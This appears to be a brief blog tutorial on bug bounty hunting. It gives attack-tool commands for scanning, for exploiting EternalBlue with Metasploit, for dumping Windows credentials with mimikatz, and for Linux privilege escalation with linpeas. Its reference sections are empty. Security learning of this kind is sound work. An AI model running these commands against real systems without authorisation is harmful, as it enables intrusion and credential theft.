Bug Bounty Tips for Independent Security Researchers

Independent security researchers often engage in bug bounty programs to identify vulnerabilities in systems and applications. Here are some tips and verified commands to enhance your bug bounty hunting skills:

1. Reconnaissance:

  • Use `nmap` for network scanning:
    nmap -sV -sC target.com
    
  • For subdomain enumeration, use sublist3r:
    sublist3r -d target.com
    

2. Vulnerability Scanning:

  • Use `nikto` for web server vulnerability scanning:
    nikto -h target.com
    
  • For directory brute-forcing, use dirb:
    dirb http://target.com /usr/share/wordlists/dirb/common.txt
    

3. Exploitation:

  • Use `metasploit` for exploiting known vulnerabilities:
    msfconsole
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS target.com
    exploit
    

4. Post-Exploitation:

  • Use `mimikatz` for credential dumping on Windows:
    mimikatz.exe privilege::debug sekurlsa::logonpasswords
    
  • For Linux, use `linpeas` for privilege escalation:
    ./linpeas.sh
    

What Undercode Say:

Bug bounty hunting requires a combination of technical skills, persistence, and a deep understanding of systems and applications. The commands and tools mentioned above are essential for any security researcher looking to identify and exploit vulnerabilities effectively.

  • Reconnaissance is the first step in bug bounty hunting. Tools like `nmap` and `sublist3r` help in gathering information about the target.
  • Vulnerability Scanning involves identifying potential weaknesses in the target system. Tools like `nikto` and `dirb` are invaluable for this purpose.
  • Exploitation is where the actual vulnerability is exploited. `Metasploit` is a powerful tool for this phase.
  • Post-Exploitation involves maintaining access and gathering sensitive information. Tools like `mimikatz` and `linpeas` are crucial for this stage.

Remember, ethical hacking is about finding and reporting vulnerabilities responsibly. Always ensure you have permission before testing any system.

For further reading, check out these resources:

By mastering these tools and techniques, you can significantly improve your bug bounty hunting skills and contribute to a safer digital world.

References:

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